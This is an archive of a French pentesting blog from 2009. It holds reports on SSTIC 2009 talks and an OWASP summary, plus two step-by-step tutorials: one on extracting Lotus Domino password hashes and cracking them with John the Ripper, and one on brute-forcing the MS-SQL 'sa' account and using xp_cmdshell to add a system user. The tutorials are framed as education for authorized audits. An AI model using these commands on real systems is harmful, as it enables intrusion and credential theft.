vendredi 5 juin 2009

[SSTIC 2009] Day 3

Troisième et dernière journée. Il manque pas mal de gens à 9h15 ... et même à 13h. On peut en déduire que le social event s'est bien passé :) Une petite pensée aux collègues qui ont tourné pendant trois heures dans Rennes pour trouver des strip-teaseuses ... en vain ;)


Matinée

J'ai bien aimé cette matinée qui a commencé par une conférence sur les XSS , présentée par Pierre GARDENAT. L'objectif est ici de montrer les conséquences possibles de ces failles. Déjà, OWASP - dont nous avons déjà parlé sur ce blog - classe ce type de vulnérabilités dans ses top vulnérabilités. J'ai bien aimé l'exemple du site mySpace où on marque de ne pas taper les balises scripts. Ouais mais on est des rebeeels ! Bonne conf dans l'ensemble avec des résultats sans équivoque mais j'aurais bien aimé qu'on détaille plutôt les attaques sous jacentes comme le DNS rebinding et le click jacking. Cette dernière attaque est cependant expliquée par XMCO partners ici.

Nous continuons avec une présentation d'un petit gars de chez nous. Il doit s'appeler Fred RAYNAL je crois ou quelque chose comme ça ;) Alors il s'agit ici de montrer qu'après avoir décrié les éditeurs de texte Microsoft, puis OpenOffice, on s'attaque maintenant aux PDFs. Alors des présentations ont déjà été faites comme on peut le voir ici. En tant qu'exemple, on voit comment nous arrivons a tirer partie des failles relevées sur ce format de fichier pour récupérer les hashes windows de la machin. De plus, Fred nous frounit ici d'e nouvelles pistes en cours d'exploitation car il s'avère que le sujet est vaste. Snif, même PDF n'est pas sûr.

Quant à la troisième conf, j'ai beaucoup apprécié aussi : il s'agissait du projet macaron à télécharger ici dont l'auteur est Philippe PRADOS. C'est un programme malicieux qui s'utilise en tant que backdoor dans une application J2EE (ex ; JBOss, JoNAS, etc ...). Nous avons déjà traité ce genre de sujet sur ce blog et mon petit doigt me dit qu'on en entendra encore parlé prochainement ... La valeur ajoutée de l'outil présenté est :
  • qu'il apour but d'être furtif et apparemment, ça marche ;
  • les commandes proposées nativement par la backdoor sont nombreuses ;
  • des fonctions d'audits ont l'air intéressantes. En tout cas, l'idée est bonne.
Je rajoute dans ma liste de tool à tester suite au SSTIC.

On continue avec un autre tool qui me paraît lui aussi intéressant : IpMORPH par Guillaume PRIGENT. Le but de cet outil est de dérouter les solutions de fingerprinting actives et passives en fournissant de faux résultats au niveau OS (ex : une OpenBSD à la place d'un Linux). Un début de présentation longuet avec des beaux powerpoints mais qui n'apporte pas grand chose. La suite est bien mieux et les résultats tout à fait satisfaisant. Les démonstrations ont porté sur nmap, ring2, p0f et SinFP qui sont largement répandus. Je me demande cependant ce que cela aurait donné avec des outils plus pointus comme AMAP et si des tests ont été réalisés avec nessuscmd ?

J'aurais bien aimé vous parler des deux dernières confs de la matinée (analyse dynamique depuis l'espace noyau avec le projet Kolumbo et GPGPU pour la cryptographie) mais j'ai un peu décroché, non pas que les présentations n'étaient pas intéressantes, c'est juste que j'accusais le coup des 8 heures de sommeil ... en 2 nuits. En même temps, ça peu paraître beaucoup pour certains : Ok Alexandre et Yann, -100 au geek scoring :)

Après-midi

L'après-midi était courte avec deux présentations seulement : ça sent déjà la fin :' Nous commençons avec une présentation de Martin Vugnoux sur "les émanations compromettantes électromagnétiques des claviers filiaires". On note de super slides ;) Et blague mise à part, une présentation rondement menée et accrocheuse. Le speaker nous montre qu'après avoir capté les signaux avec une super antenne et après avoir compris comment ça marchait, on arrive à connaître le caractère tapé sur le clavier à distance. On ne va pas y aller par 4 chemins, ça semble marcher sur tous les supports clavier sans fil, de PDA et voire autres machines à clavier mais l'auteur nous laisse dans le suspens, mystère ! Quant à la pratique des attaques, on arrive à agir de 5 à plusieurs dizaines de mètres selon le support ciblé et les conditions de tests. Bien joué Martin !

Pour terminer, la conférence invitée par D. Chanderis. Là, on sent la personne qui a de la bouteille ;) Et ce n'est pas péjoratif, au contraire. On sent la personne cultivée et surtout humaine et pourtant, elle travaille depuis des années dans la SSI : tout n'est peut être pas encore perdu ; on n'est peut être pas encore dans la matrice !!!
L'idée est de dire, qu'il faut croire en les valeurs humaines et non sans provocation que l'humain est le maillon fort ! Alors effectivement, ce genre de propos fait réagir car je ne pense pas être le seul à prendre en compte le facteur humain dans les préconisations d'audit. Il joue un rôle plus qu'essentiel dans le SI et forcément, on lui trouve des faiblesses. Un exemple que j'ai en tête, c'est de stocker en clair des mots de passe (très) important sur sa machine. Alors on me répondrait qu'on avait qu'à chiffrer son disque. Je crois qu'on peut jouer au chat et à la souris et devant une telle personne, je fais preuve d'humilité, je m'incline. Ce que je cherche à dire cependant à travers cet exemple, c'est que nous avons certainement des idées préconçues (et même, je n'en doute pas) mais il reste certaines choses difficiles à accepter (comme dire que l'humain peut représenter le maillon fort donc). Peut-être s'agit-il seulement de laisser le temps à la réflexion mais comme dit mon philosophe préféré à moi, "l'important, c'est d'y croire".


Je terminerai en disant que je n'ai pas été déçu cette année par le SSTIC, au contraire et je vous invite à vous rendre sur le site d'une personne qu'on ne présente plus ici.

Il ne me reste plus qu'à vous dire à l'année prochaine ... j'espère ;)

jeudi 4 juin 2009

[SSTIC 2009] Day 2

ça continue pour cette deuxième journée. Déjà, certains ont du mal à se lever pour la première conf. de la journée. Bon, l'objectif est de faire un post moins long que pour le jour 1 !


Matinée

Une matinée dédiée au fuzzing ! En guise d'introduction, on commence avec une conf. d'Ari TAKANEN, Finlandais. Il nous explique sa vision sur le sujet : "Fuzzing : le passé, le présent et le futur". Ici, le but, c'est pas de montrer des vulns mais vraiment de voir les techniques de fuzzing et l'évolution de cette technique. Pour savoir quelle technique est la meilleure ou quelle sera celle qui nous conviendra le mieux, il faut prendre en compte trois critères :
  • les fonctionnalités offertes par le fuzzer ;
  • sa robustesse ;
  • ses performances.
L'idée est ici de considérer le modèle de fuzzing (mutation, pre-generated/scripted, block based, model based). Aussi, on souhaite ici se coller au fuzz en cours et l'automatiser au mieux. Par exemple, on cherchera à tenir compte des spécificités du protocole audité. Pour terminer, Ari nous propose une checklist pour choisir ou concevoir son fuzzer.

La deuxième conf est proposée par Gabriel CAMPANA. Elle fait la transition avec la précédente en présentant l'outil "Fuzzgrind". Ce dernier repose sur deux tools existants : Valgrind et STP. L'idée est que pour chaque nouveau protocole, c'est long de refaire son fuzzer. C'est là que Fuzzgrind arrive. Cet outil va travailler selon les 3 étapes suivantes :
  • exécution symbolique du programme audité ;
  • prise en compte des conditions (tous les cas) ;
  • création d'une équation pour chacune de ces conditions.
Des améliorations sont en cours mais déjà, l'outil a déjà trouvé des vulnérabilités dans des programmes comme readelf et swfextract ... en moins d'une heure ! Bravo !

La dernière conf sur ce thème du fuzzing est présentée par Laurent BUTTI. On s'attaque maintenant - dans le contexte d'une "architecture de convergence fixe-mobile" - à des protocoles dits de sécurité comme IKEv2 ou EAP . Et là où ça commence à faire peur, c'est qu'on trouve des failles là aussi ... En réalité ces protocoles apparaissent comme sûrs mais l'idée à retenir, c'est qu'il ne faut pas négliger les points sensés être sécurisés pendant les tests de tout genre car les failles vont provenir de l'ingénierie réseau et de l'implémentation de ses protocoles. En résumé, "don't trust any(one|thing)" ... (Source : Mulder dans X-Files ;).

On enchaîne avec la présentation de Romain RABOIN sur la sécurité des smartphones. Le speaker nous donne d'abord une vue d'ensemble des 4 OS les plus répandus sur le marché (Symbian, iPhone, RIM Blackberry et Windows Mobile). on va faire court : il existe des failles pour tous et il est possible d'espionner les données (appels, voix, ...) via des logiciels appropriés. on se focalise ici sur Windows Mobile et on essaie d'injecter le logiciel espion (un fichier *.cab). A priori, nous avons besoin d'un accès physique au téléphone, le temps d'injecter le programme. Ensuite, on peut agir à distance. Pour éviter cette nécessité, d'accès au téléphone de la victime, plusieurs solutions passent en revue et la gagnante consiste à utiliser le poste de travail avec qui le smartphone se synchronise. Le schéma est alors simple :
  • avoir un accès au poste de travail de l'utilisateur (ça n'a jamais posé problème) ;
  • programmer la synchronisation du logiciel espion avec le smartphone ;
  • c'est tout !
Il faut quand même savoir que notre programme malicieux n'est pas signé. une popup pourrait donc avertir d'utilisateur de son installation. Mais la modification (via rapi) d'une stratégie de sécurité permet de remédier à ce problème ;)

Pour la conf suivante, on change vraiment de sujet pour parler de watermarking avec Teddy FURON dans une présentation intitulée "le traçage de traitre en multimedia". Comme le titre l'indique, il s'agit de retrouver le ou les personnes coupables d'avoir effectuer une copie illégale d'un multimédia propriétaire (ouh ... pas bien !). Le défi est que les résultats puissent être suffisamment probants pour servir de preuve juridique. On se rend compte que ce n'est pas simples mais que le tatouage donne de bons résultats en se basant sur les faiblesses de la perception humaine (visuelle et sonore). Au final, on remarque que si le fichier n'a pas été trop dégardé par les pirates, nous pourrons retrouver les attaquants en estimant des probabilités sur leur culpabilité.

La dernière conf de la matinée est présentée par Marie BAREL, juriste attitrée du SSTIC ;) Elle nous présente un cas concret et que nous sommes amener à auditer régulièrement : le vol d'information par un stagiaire (ce que nous simulons pendant un pentest interne en l'occurrence). Les définitions du vol fournies par les lois françaises ne tiennent pas en compte des données numérique car :
  • par vol, il devrait y avoir "soustraction" or un vol d'information n'implique pas que l'entreprise touchée n'a plus à ses dispositions les données volées ;
  • par vol, on s'attend à voler un objet or les infomations représentent un objet "immatériel".
On voit qu'il est difficile de se protéger des vols d'information par les employés. Néanmoins, les chartes utilisateurs et NDA sont des premiers pas vers la protection. Il faut savoir aussi que l'employé a "obligation de loyauté" envers son employeur. Il n'empêche qu'une étude américaine affirme que 59% des employés vole des données avant de partir de la compagnie. Malheureusement, le contrat de travail ne prévoit pas toujours la confidentialité des informations après le départ d'une personne (même sur une durée limitée). Pire, le vol d'information est souvent repéré bien tard et la personne est certainement partie depuis ... Pire encore : qui a déjà vu une société où tous les accès (logiques et physiques) ont été correctement désactivés au départ d'une personne ?
En résumé, la loi n'est pas toujours adaptée au monde numérique et en voici la preuve. Cela a pour conséquence des brèches dont les coupables tenteront de se servir.
Pour terminer, je reprends les tois mots de la fin du speaker : "responsabilisation, communication et contrôle".

Après-midi

On commence avec Nicolas RUFF avec "Pourquoi la sécurité est un échec". Le titre annonce la couleur et avec la prés., on a presque envie de déprimer parce la sécurité, c'est notre raison de vivre (surtout si on n'a pas de vie sociale à côté ! :) mais on apprendra pendant les rump sessions qu'il existe des "copine de geek", OUF !) Bon, les problèmes majeurs datent d'il y a 30 ans selon notre speaker (Internet, langage C, ...) : OUF, je n'étais pas né, c'est pas de ma faute !!! J'arrête de déprimer et me dis que je vais quand même à faire de la sécu !
Lors de sa présentation, Nicolas nous montre les grosses failles Windows qui ont eu lieu et auxquelles il a participé et pas vraiment du neuf au final. On ne peut que confirmer que les environnements Windows sont prenables en tests internes. On explique dans la conf. le manque de prévention dans la sécurisation des SI par les entraprises et malheureusement, elles finissent par en payer les conséquences ... Reste à convaincre ces entreprises de payer "au cas où" ... Sinon, je propose qu'on prenne une comm' de 1% à chaque fois qu'on avait prévenu la boîte du problème en cours et qu'aucune correction n'a été apportée ...

Avant les rumps, on a eu des présentations de projets ayant pour but la sécurisation d'un OS pour un utilisateur lambda qui doit être capable d'effectuer toutes les opérations de bureautique classiques (mail, traitement de texte, e-commerce, ...) : c'est le projet SEC&SI. Les trois projets ont des approches différentes mais intéressantes. On retrouve les principes de serveurs mandataires, de sandbox, de hardening, etc. Pas de pronostic pour le moment mais on est obligé de marquer dans nos annales du SSTIC que "sh, ça nous a bien fait shourrir" :))

Quant aux rumps, on avait de tout. En tant qu'auditeur, j'ai surtout noté les outils IMA, reconet, evalSMSI et Netifera que je testerai dès que possible et même pourquoi pas, d'en faire un post.

PS : raté, je n'ai pas réussi à faire un post plus court qu'hier ; je retente demain !

mercredi 3 juin 2009

[SSTIC 2009] Day 1

Premier jour de conf pour l'édition 2009. On retrouve les mêmes, les meilleurs et ... les meilleurs ;) De bonnes confs en perspective. Alors malgré un passage obligé à la crêperie et au pub, je ne pouvais pas manquer de faire quelques commentaires sur mon blog ;)


Matinée

Bon, pour les 3 confs du matin, je vais résumer mieux que sur tous les autres blogs SSI, si si ! Écoutez : "Suite à un problème d'aiguillage à Massy, le train partira avec 20 minutes de retard + 50 minutes de retard car nous prendrons les voies classiques à la place des voies TGV" ...

Après-midi :

Projet WOMBAT :

L'après midi commence avec une conférence intitulée "Le point de vue d'un WOMBAT sur les attaques Internet" par M. DACIER, SYMANTEC.
Alors avant de commencer faut savoir qu'il cherche à recruter dans le sud de la France (mouais, bah il fait beau même en Bretagne ! ;)) et qu'il recherche des ressources pour y installer des "sensors". On explique tout ça :
La présentation se découpe en 3 parties :
  • La collecte d'information ;
  • L'analyse de l'information et l'enrichissement des données ;
  • Les menaces causées par l'attaque.
On connaît les honeypots (ou "pots de miel") mais ici, c'est juste une des sources utilisées pour la collecte d'infos. En effet, ils utilisent aussi les crawlers et des flux externes. Les honeypots sont basés sur SGNET, la nouvelle génération de ce type de solution. SYMANTEC demande à des partenaires d'installer sur leur(s) machine(s) un "sensor" qui est une "entité logicielle" légère. Le but est que ces "sensors" soient les plus nombreux et les mieux répartis possibles dans le monde pour des résultats d'autant plus pertinents. Plus précisément, ces sensors disposent d'un automate à états finis (constitué des chemins d'attaque connus).
Afin que les personnes de la communauté WOMBAT récupère les données, ils disponsent d'une passerelle qui sert notamment de proxy anonymiseur pour ses partenaires qui envoient leurs données.
On arrive à la deuxième étape où on effectue une analyse des codes malicieux. On l'enrichit de données si on en dispose déjà. On retrouve deux cas d'attaque :
  • les attaques connues qui seront facilement traitées et répertoriées ;
  • les attaques non connues qui nécessitent d'analyser le shellcode de l'attaque (+ long !).
Malheureusement, la tendance étant à l'attaque ciblée, on se rend compte que les attaques non connues et spécifiques prennent de plus en plus d'importance.
Enfin, troisième étape : l'étude des menaces. On a vu de beaux graphiques et ça a l'air de fournir vraiment des résultats. En tout cas, de donner des éléments de réponses sur les caractéristiques des attaques en cours ou à venir. Par exemple, on a une vue sur les sources et cibles des attaques, leur mode opératoire, etc. et tout plein de stats.
Le projet est initialement prévu sur 3 ans et donc pas encore terminé. C'est pourquoi on attend d'autres résultats. Mais l'idée de départ et les moyens mis à disposition semblent être bons et prometteurs. Seulement, il faut que les données collectées soient :
  • plus nombreuses ;
  • pertinentes et arriver à trier les bonnes données malgré la quantité croissante ;
  • trouver un moyen d'automatiser l'analyse de code malicieux pour les attaques non connues.
Donc, à suivre !

Les attaques physiques :

Alors des projets tout à fait louables se déroulent pour la mise en place de l'informatique de confiance. Très bien sauf que Loïc DUFLOT, speaker de la conférence "Quelles limites pour l'informatique de confiance", commence par nous montrer qu'en débranchant et en rebranchant 5 fois de suite le câble d'alimentation de sa machine, il passe root à partir d'un compte démo non privilégié ! Là, on commence à se demander ce qu'il se passe et tout devient plus clair dans la suite. Le problème, c'est que le BIOS n'est pas considéré à sa juste valeur. Malheureusement, on sait déjà les dégâts que cela peut faire. Outre le reboot de la machine par exemple avec un média amorçable, nous nous attaquons à un sujet plus complexe mais dont le résultat est sans équivoque. Alors pour résumer, L. DUFLOT va s'appuyer sur les routines de traitement de la SMI (System Management Interface) et les tables ACPI (Advanced Configuration and Power Interface). Les routines d'interruption ont des droits privilégiés et c'est de là que va venir l'escalade de privilèges. La démarche consiste à injecter un rootkit qui se lancera une fois qu'on actionnera telle routine physique (ex : débrancher le câble d'alimentation).
Dans le même ordre d'idée, la dernière conf de la journée, "Compromission physique par le bus PCI" de Christophe Devine et Guillaume Vissian nous fournit un POC d'accès DMA à l'aide d'une carte PCI ou Cardbus. Là encore, le résultat est au rendez-vous. Cette présentation venait à point dans la continuité de celle de Damien Aumaître, l'année dernière, sur l'accès DMA mais via le port firewire cette fois.

ISO 27001 :

Déjà, de l'orga au SSTIC ! ça fait plaisir aussi :) L'approche de la conférence, c'est de voir de manière objective (ou presque ;) à quoi sert l'ISO 27001 avec un retour d'expérience du speaker, Alexandre Fernandez-Toro. L'exposé était découpé en 5 questions :
  • A quoi ça sert [l'ISO 27001] ?
  • Est-ce que ça améliore vraiment la sécurité des systèmes d'information ?
  • Comment reconnaître les compagnies qui veulent être certifiées pour le tampon et celles qui le souhaitent pour s'assurer qu'elles appliquent les bonnes pratiques en termes de SSI ?
  • Quels sont les domaines impactés ?
  • A quoi ça sert vraiment [l'ISO 27001] ?
C'était intéressant d'avoir un tel retour d'expérience et de se dire plusieurs fois, "ça j'ai vu". Notamment, le cas des entreprises qui rédigent les documents et effectuent les enregistrements juste avant l'audit. J'ai vu un cas où la boîte avait fait en sorte de retarder l'audit de 6 mois. Comme de par hasard, il y a eu un plein de choses mises en place les 6 derniers mois ... que c'est bizarre ! Non ? Regardons ce qu'il y avait eu de fait avant les 6 mois ... euh ... Je tiens un bon cas 1, un bon vainqueur même :)
La conclusion de la conférence, c'est que l'ISO 27001 apporte réellement une sécurité mais pas de la façon à laquelle on pourrait s'attendre a priori : La norme apporte vraiment aux compagnies qui ont déjà la volonté de faire de la sécurité. C'est un travail à long terme et c'est seulement ainsi que des résultats concrets pourront être obtenus. En l'occurrence, la norme permettra de rationnaliser, transversaliser et mutualiser la SSI de la compagnie. En fait, c'est déjà pas mal !
Regardez les failles que vous trouvez dans un test d'intrusion interne. Si vous creusez, vous vous rendez compte qu'il y a toujours une cause organisationnelle derrière : la machine n'est assignée à aucun administrateur, les administrateurs en charges sont 2 pour 8278182718105 machines, etc ... On comprend pourquoi la machine n'est pas patchée depuis X mois (qui a dit années ???) quand bien même on a un WSUS correctement installé. Par exemple, la transversalité permettra de couvrir la totalité du SI et évitera qu'une machine ne soit administrée ... que par elle-même !

lundi 20 avril 2009

[Pentesting] [Messaging] Lotus hacking

Nous continuons sur les posts techniques en nous attaquant cette fois à un autre type de serveur : le serveur de messagerie. Et plus exactement, l'attaque portera sur un serveur LOTUS. Nous verrons que l'attaquant peut encore une fois frapper très fort par cette voie.


1 - Briefing: Lotus

Le post est à but purement éducatif et ne devra en aucun cas être testé sur un réseau qui ne vous appartient pas, en tout cas, sans autorisation.
Il s'agit ici de donner une démonstration tiré d'un article paru dans le HS n°1 de MISC. Se référer à celui-ci pour plus d'information.
Nous agissons ici de l'extérieur puisque nous nous focalisons sur la partie webmail de la messagerie.


2 - Repérage de la cible

Trouver la messagerie de la compagnie auditée n'est pas difficile. Il y a la méthode que j'appelerai "intuitive" qui consiste à deviner le nom. Par exemple : mail.compagny.com, webmail.compagny.com, mx.compagny.com, etc...
Et il y a la méthode plus intelligente ;) Il suffit d'exécuter une requête DNS sur le champ MX :

dig MX compagny.com

Notre cible utilise du Lotus ? Alors à l'attaque !


3 - Des informations bien utiles ...

3.1/ Récupération d'informations intéressantes

Nous allons regarder dans une premier temps si nous avons accès aux fiches des utilisateurs. Pour cela, essayer d'ouvrir le fichier names.nsf. Par exemple, à l'adresse : http://mail.compagny.com/names.nsf. Vous devriez avoir les listes des utilisateurs ! Cliquer sur ceux qui ont un icône "terre" et qui ont donc un accès webmail. Vous devriez trouver facilement ... le login ! ça commence plutôt pas mal, non ?

3.2/ Récupération des comptes adminitrateur

Obtenir le compte d'un adminitrateur nous permettrait une compromission encore plus importante dans le sens où cela nous permettrait d'obtenir des accès sur le système hôte. Comment connaître l'identité de l'administrateur de la messagerie ? Deux manière au moins :
  • Regarder les mailing-lists. L'une d'elles pourraient s'appeler mail_adminitrator ou quelque chose du genre. Sinon, toutes les listes d'administration pourrait être intéressante pour connaître les utilisateurs-clé ;)
  • Regarder la configuration du serveur Lotus si celle-ci est accessible en lecture au moins. Le ou les nom(s) des adminitrateurs de la messagerie devraient vous être fournis sur un plateau ...

3.3/ Récupération des hashes

Et c'est à partir de maintenant que ça fait peur ! Mal configuré - comme souvent - il est possible de connaitre le hash du mot de passe des utilisateurs depuis Internet. ça ne peut pas être si simple me direz-vous ? En effet, c'est encore plus simple que ce que vous pouvez penser !

  • Sélectionner la fiche de votre utilisateur cible ;
  • Faire un clic droit sur sa fiche et choisir "Ce cadre" puis "Code source de ce cadre" (éventuellement en anglais) ;
  • Dans le code source, faire une recherche sur la chaîne HTTPPassword ;
  • Récupérer la valeur dans le champ "value" sans les guillemets mais avec les parenthèses ;
  • C'est tout !
Il existe deux formats de hash que nous pouvons récupérer (éventuellement sur le même serveur) :
  • le format plus ancien :
  • le format plus récent basé sur du MD5 + sel :


4 - Juste une histoire de mot de passe

Nous avons donc obtenu un hash et en bon agent que vous êtes, ce n'est certainement pas la première fois que vous avez un hash à déchiffrer. Ici, notre arme de choix est le célèbre casseur de mot de passe, nommé John ! John the Ripper [1] !
Néanmoins, nous aurons besoin d'utiliser une version avec les patches qui vont bien. Perso, j'utilise john-banquise [2] qui contient les patches pour Domino dont nous avons besoin.
Ensuite, nous avons besoin de lancer John avec le format approprié :

  • pour les hashes de format ancien :
john --wordlist=dictionary.txt --rules --format=lotus5 liste_hashes.txt
  • pour les hashes de format récent :
john --wordlist=dictionary.txt --rules --format=DOMINOSEC liste_hashes.txt

Le fichier liste_hashes.txt doit être de la forme suivante :
prenom1Nom1:(hash1)
prenom2Nom2:(hash2)
prenom3Nom3:(hash3)
...

5 - Conclusion

Nous avons vu comment avoir accès à la messagerie d'un utilisateur sans difficulté particulière (sauf si le mot de passe était complexe). Cependant, nous n'avons pas tout vu.
En externe, il faut savoir qu'une fois le compte adminitrateur de la messagerie en notre possession, il est possible d'exécuter des commandes arbitraires sur le système hôte !
En interne, d'autres attaques, différentes, peuvent être jouées. Notamment, elles tournent autour du fichier id.


Et n'oubliez pas, have fun! :)

dimanche 19 avril 2009

[PENTESTING] [Database] MS-SQL Audit

Après notre aventure théorique sur l'OWASP, je reviens sur le blog pour un post technique. Et pour ce "comeback", je vous propose dans un premier temps de nous attaquer à un élément du S.I très sensible : les bases de données ! En effet, c'est ici que nous trouverons souvent les données les plus confidentielles ... Plus précisément, nous allons prendre pour exemple les bases de type MS-SQL.


1 - Mission: MS-SQL

Le post présente une technique qui n'est pas supposée être la meilleure, ni être exhaustive. Le but ici est de voir une façon de faire. Au risque de me répéter, mais c'est très important, ce qui est présenté ci-dessous ne peut être réalisé qu'au sein de son propre réseau ou dans un cadre légal (avec autorisation de la compagnie auditée).

Avant d'entrer dans le sujet, il faut savoir que ce type de tests est plus approprié aux tests d'intrusion internes. Si jamais une telle base était accessible depuis Internet, je vous laisse imaginer la criticité du problème !

Pour terminer, le client OSQL, utilisé dans la suite, est fourni gratuitement sur le site de Microsoft dans le package MSDE. La connexion vers la serveur se fait ainsi :

osql.exe /S ip_serveur|nom_serveur /U nom_utilisateur /P mot_de_passe



2 - Repérage de notre cible

2.1/ Trouver les serveurs MS-SQL

Par défaut, les bases MS-SQL utilisent les ports :
  • TCP/1433
  • UDP/1434
NMAP peut donc nous permettre de trouver les serveurs MS-SQL présents sur le réseau audité (par exemple, sur le réseau 172.16.XXX.XXX) :
nmap -v -sV -sS -p 1433 -oN NMAP_MS-SQL.txt 172.16.0.0/16

Ou mieux :

nmap -sV -sS -p 1433 172.16.0.0/16 | grep "open" -B 3 > nmap_mssql_list.txt

Cette méthode simple est tout de même limitée car si l'administrateur n'utilise pas le port par défaut, nous passons à côté de notre cible !

2.2/ Prise d'information sur les serveurs MS-SQL

Il existe plusieurs outils pour obtenir des informations sur les serveurs MS-SQL audités. Nous montrons ici l'exemple de SQLRecon :


Le but est de connaître les numéros de version notamment pour éventuellement jouer un exploit si le serveur de base de données n'est pas maintenu à jour.


3 - Compromission de la cible


3.1/ Juste une question de compte ...

Une base de données MS-SQL a un compte administrateur appelé par défaut sa. Ce compte doit donc être protégé spécifiquement. Cependant, il arrive qu'il soit configuré avec le mot de passe ... vide ou sa ! Les credentials par défaut peuvent donc très simplement fournir un accès total à la base de données.

Si les comptes par défaut ne donnent pas de résultats positifs, nous pouvons tenter une attaque par dictionnaire. Pour cela, il existe l'outil SQLPing3cl :


Nous avons auparavant :
  • rempli le fichier user.txt avec les noms de compte possible (ex : sa) ;
  • rempli le fichier pass.txt avec la liste de mots de passe (sinon, il existe des tonnes de fichiers préconçus sur le Net contenant les mots du dictionnaire ;).
Un de nos serveurs a le mot de passe sa (extrait de l'output) ...

172.XXX.XXX.XXX,1433,NOM_Serveur,MSSQLSERVER,8.00.194,8.0.766,8.00.760,,No,(UDP)ServerName;NOM_Serveur;InstanceName;MSSQLSERVER;IsClustered;No;Version;8.00.194;tcp;1433;np;\\Nom_Serveur\pipe\sql\query;; (SA)Server present but blank SA login failed (BruteForce)**** Brute force attempt successful! User:sa Pass:sa ****,UDP TCP SA BruteForce

3.2/ Regarder les vulnérabilités !

Si malgré tous vos efforts vous n'obtenez pas le mot de passe du compte sa, il faut se retourner vers un site de veille sécurité pour trouver une faille exploitable selon la version trouvée (cf. point 2.2/).


4 - Système touché !

Il faut savoir qu'une base de données tourne par défaut avec les droits Local System. Alors imaginez que la base de données est compromise et que vous puissiez exécuter des commandes arbitraires ... ce serait avec les droits NT AUTHORITY/SYSTEM !

Or, par défaut, MS-SQL bénéficie de ce qu'on appelle des procédures stockées. Ces dernières permettent d'augmenter significativement la puissance d'une base de données. En effet, cela permet de nombreuses actions prédéfinies très utiles pour l'administrateur ... ou pour l'attaquant. La procédure qui nous intéresse ici est xp_cmdshell.

4.1/ Activer une procédure stockée

Il est possible que la procédure que nous souhaitons - xp_cmdshell - ne soit pas activée. Pour le savoir, tenter une connexion vers la base et essayer de lancer la procédure stockée de la manière suivante :

> xp_cmdshell 'ipconfig'
> go

Si vous n'avez pas d'erreur, comme sur l'image suivante, passez tout de suite à l'étape 4.2/


Sinon, suivez les instructions ci-dessous permettent l'activation de la procédure :


4.2/ Lancement de commandes

Nous allons poursuivre notre attaque en créant un compte sur le système hôte :

> xp_cmdshell 'net user jer001 M1ssion_pass /add'
> go

Nous vérifions avec les commandes suivantes :

> xp_cmdshell 'net user'
> go
Notre compte est ajouté !


5 - Aller plus loin

Arrivé à ce stade, nous avons été suffisamment loin dans la compromission du serveur. Cependant, il est nécessaire d'être exhaustif dans le cadre d'un pentest. Un serveur qui a pu être compromis de la sorte n'a pas bénéficié du hardening adéquat et par conséquent, souffre certainement de nombreuses vulnérabilités. Cela peut se vérifier par des tests complémentaires. Notamment, nous pouvons nous aider du script SQL SQLVulscan. Voici une liste non exhaustive de vulnérabilités qu'il permet de trouver :

  • Privilège du compte de service ;
  • Méthode d'authentification ;
  • Liste des procédure stockées ;
  • Présence des bases de données par défaut ;
  • Présence des accès "invité" ;
  • Présence de comptes sans mot de passe ;
  • etc.

Pour le lancer, utiliser la commande suivante :

c:\>osql.exe /S 192.168.0.12 /U sa /P BDD_PASS /i SQLvulscan.sql


Et comme toujours, have fun!

dimanche 22 mars 2009

[STANDARD] OWASP - Episode 10

Nous y sommes ! La dernière étape avec la fin de notre aventure sur la méthodologie OWASP. Après avoir vu un grand nombre de points à contrôler - de la collecte d'information à l'exploitation d'injections - il ne nous reste plus qu'à voir les attaques possibles sur AJAX. Je finirai par un résumé très rapide sur la vision de la norme pour la partie "post-pentest".


1 - Avant-propos

Dixième épisode ! Hé oui, nous y voilà ! Il synthétise la section 4.11 de la norme. J'irai très vite car je ne suis pas un expert AJAX ;) Mais il me fallait être exhaustif en abordant tous les chapitres de la méthodo. Pour finir, je décrirai brièvement la partie 5 de l'OWASP à propos du travail d'un pentester une fois les tests réalisés.


2 - Phase de tests actifs 9 - tests sur les applications AJAX


AJ-001 - Les vulnérabilités d'AJAX

Notre démarche consiste dans un premier temps à explorer les vulnérabilités potentielles sur les applications AJAX ou du moins, de contrôler qu'il n'y a pas de faille exploitable par un attaquant. Pour s'en assurer, nous devons couvrir un champ assez large de recherche car les applis AJAX sont concernées par de nombreux vecteurs d'attaque :
  • Les attaques de type injection (cf. épisode 7) : ex ; SQL / XSS /CSRF ;
  • Les dénis de services (cf. épisode 8) ;
  • Attaque côté client (navigateur). Surveiller les nouvelles failles ! (ex : www.securityfocus.com).

AJ-002 - Tests sur les applications AJAX


Il n'y a pas de méthode précise ici mais nous donnerons quelques pistes. La première est de travailler avec un proxy local (ex : paros). Comme pour tout type d'application WEB, ce genre d'outil nous permet souvent de trouver "ce qui cloche". Du moins, cela nous permet de mieux comprendre l'application.
La deuxième piste est de trouver les erreurs ou les lacunes dans le code JavaScript. Cette fois, nous pourrons utiliser une extension de Firefox comme Firebug. L'objectif est de trouver les failles dans le code qui nous permettront de réaliser des injections.


3 - Après les tests ...

La réalisation des tests constituent le coeur de la prestation d'un test d'intrusion d'une application WEB. Cependant, le résultat final, c'est le rapport.

3.1 - Étude des faille

Cependant, le résultat final, c'est le rapport. L'OWASP propose six étapes pour étudier une faille :

Étape 1 : Description et identification du risque pour la faille trouvée

Par exemple, atteinte à l'image de la compagnie, pertes financières, etc...

Étape 2 : Estimation de la probabilité

Est-il envisageable qu'une telle attaque se produise ? Si oui, dans quelle mesure ? Par exemple, s'il existe un gain financier à la clé, un attaquant sera plus motivé à attaquer la cible en question.
Deuxième cas : imaginons une attaque distante. Si la compagnie a bien sécurisé les accès extérieurs avec pare-feu correctement configuré et plateforme de protection WEB, l'attaque aura moins de chance de succès.

Étape 3 : Estimation de l'impact sur l'entreprise

Les risques identifiés doivent être évalué. Nous apportons un coefficient différent selon que une ou plusieurs personnes peuvent être touchées par l'exploitation de la faille étudiée. Les impacts financiers consistent-ils en une perte d'une journée de production ou d'une durée plus longue ?

Étape 4 : Estimation de la sévérité du risque.

sévérité risque = probabilité d'exploit (étape 2) * impact (étape 3)

Nous obtenons une criticité de "Faible" à "Critique".

Étape 5 : Recommandations

Il est temps ici d'apporter les solutions pour corriger les failles. Les recommandations devront tenir compte du contexte du client afin qu'elles puissent être réalisées.

Étape 6 : Personnalisation

L'idée est ici d'affiner l'étude en donnant un point de vue personnaliser pour le client : des solutions adaptées au secteur, aux besoins et à l'évolution de l'entreprise.

3.2 - Écriture du rapport

Nous découpons le rapport en trois points :
  • une partie destinée aux managers (avec une synthèse des tests) ;
  • une partie technique pour les équipes opérationnelles ;
  • la réalisation des tests proprement dite en tenant compte du travail effectué en 3.1.

